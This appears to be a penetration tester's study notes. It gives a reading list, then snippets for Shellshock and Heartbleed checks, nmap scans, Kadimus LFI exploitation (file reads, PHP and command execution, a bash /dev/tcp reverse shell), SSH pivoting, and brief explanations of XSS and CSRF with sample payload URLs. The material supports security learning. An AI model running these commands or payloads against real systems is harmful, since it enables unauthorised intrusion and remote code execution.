Books/Resources

• Web application hackers handbook
• A great (free) Linux command line / bash scripting refresher: http://linuxcommand.org/tlcl.php
• Some Windows CMD stuff, but I would try to find something better: https://technet.microsoft.com/en-gb/library/bb490890.aspx
• RTFM - a useful command line cheat sheet for Linux and Windows, despite some errors: https://www.amazon.co.uk/Rtfm-Red-Team-Field-Manual/dp/1494295504
• Introduction to network/infrastructure testing, often used for initial CREST theory exam revision, there are two editions worth looking at 2nd and 3rd edition: https://www.amazon.co.uk/Network-Security-Assessment-Know-Your/dp/0596510306
• Windows & Linux Privilege Escalation Fundamentals: http://www.fuzzysecurity.com/tutorials/16.html and https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
• This one is for Windows and Linux, comes with free VMs: https://github.com/sagishahar/lpeworkshop
• Good pentest book series: https://www.amazon.com/Hacker-Playbook-Practical-Penetration-Testing/dp/1494932636 and https://www.amazon.com/Hacker-Playbook-Practical-Penetration-Testing/dp/1512214566/
• Hacking Exposed series: https://www.amazon.co.uk/s/ref=nb_sb_ss_i_2_7?url=search-alias%3Dstripbooks&field-keywords=hacking+exposed&sprefix=hacking%2Cstripbooks%2C162
• All you would like to know about how nmap works: https://nmap.org/book/man.html
• Online hacking challenges, worth trying out, some of these are similar to OSCP (see below) quality: https://www.hackthebox.eu/ and https://www.hackthissite.org/
• Some interesting subjects to explore if time allows: http://opensecuritytraining.info/Training.html

Scripts

• Shellshock
  • x='() { :;}; echo VULNERABLE' bash -c :
  • shocker.py -H hostname -e command_to_execute -c CGI_file_to_check - NCC Group
  • nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls - NMAP
• Heartbleed
  • Travis Lee
  • nmap -p 443 --script ssl-heartbleed - NMAP

Tools / Utilities

• SQLMAP
• NMAP
  • Service discovery: nmap -T4 -A -v -p0-65535 XXX.XXX.XXX.XXX
• mimikatz - windows post-exploitation tool
  • Offensive Security useful link: https://www.offensive-security.com/metasploit-unleashed/mimikatz/
• cURL
  • curl -v XXX.XXX.XXX.XXX
• Kadimus - LFI Scan & Exploit Tool
  • Scanning: ./kadimus -u localhost/?pg=contact -A my_user_agent
  • Get source code of file: ./kadimus -t localhost/?pg=contact -G -f "index.php%00" -O local_output.php --inject-at pg
  • Execute PHP: ./kadimus -t localhost/?pg=php://input%00 -C 'pwned' -X input
  • Execte command: ./kadimus -t localhost/?pg=/var/log/auth.log -X auth -c 'ls -lah' --ssh-target localhost
  • Reverse shell: ./kadimus -t localhost/?pg=contact.php -Xdata --inject-at pg -r -l 12345 -c 'bash -i >& /dev/tcp/127.0.0.1/12345 0>&1' --retry-times 0
• SSH
  • Log in using key: ssh -i KEY_NAME [email protected]
  • Forward connections to TCP port 8888 on our client to TCP port 80 on internal.site.com ssh -L 8888:internal.site.com:80 -N USER_LOGIN
  • Pivoting ssh -D 9090 USER_LOGIN then use ProxyChains, then edit /etc/proxychains.conf and add socks4 127.0.0.1 9090
  • TODO: USE NETWARS SSH
• TODO: empire

ELI5

• XSS: when the user trusts the server too much. The attacker tries to force/trick you into making a request which you did not intend.
  • https://janusz.co.uk/account?variable=a'<script>alert(1)</script>
• CSRF: when the server trusts the user too much.
  • https://janusz.co.uk/changePassword?userID=1&newPassword=foobar
• Heartbleed: OpenSSL does not check to see whether the sender lied about the length of the enclosed message. If it sends a ridiculously large number — something much larger than the full heartbeat message itself — the receiver will keep reading its memory right past the location where the message is stored, and into the program’s own memory (XKCD).